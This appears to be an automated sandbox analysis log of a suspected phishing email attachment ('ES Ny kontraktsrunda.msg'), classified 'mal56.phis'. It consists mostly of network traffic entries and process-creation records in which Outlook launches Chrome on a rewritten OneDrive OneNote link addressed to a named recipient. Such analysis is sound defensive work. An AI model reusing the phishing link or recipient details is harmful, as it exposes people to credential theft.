Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50211
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50213
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50196
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49778 version: TLS 1.2

Source: chromecache_238.7.dr, chromecache_288.7.dr

Binary or memory string: new w.a(u.a.Bd());const t=".3gp .aa .aac .aax .act .aiff .amr .ape .au .awb .dct .dss .dvf .flac .gsm .iklax .ivs .m4a .m4b .m4p .mmf .mp3 .mpc .msv .ogg .oga .mogg .opus .ra .rm .raw .sln .tta .vox .wav .webm .wma .wv".split(" ");for(const J of t)G.A9b.add(J)}return G.A9b}static Z2h(t){return G.yLh().contains(t)}static T7h(t){t=x.iwh(t);return""!==document.createElement("audio").canPlayType(t)}}G.A9b=null;(0,C.a)(G,"EmbeddedFileReaderUtils",null,[])},94099:function(C,L,d){d.d(L,{a:function(){return h}});

Source: classification engine

Classification label: mal56.phis.winMSG@24/386@90/17

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241025T0418070101-7292.etl

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\ES Ny kontraktsrunda.msg"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "8EBA3B07-0269-403A-8827-3D10A2298313" "0BCAFF8F-32E9-4DDB-A99B-896005FDE1FB" "7292" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2000,i,14847539301104719673,13743601160139155532,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "8EBA3B07-0269-403A-8827-3D10A2298313" "0BCAFF8F-32E9-4DDB-A99B-896005FDE1FB" "7292" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2000,i,14847539301104719673,13743601160139155532,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
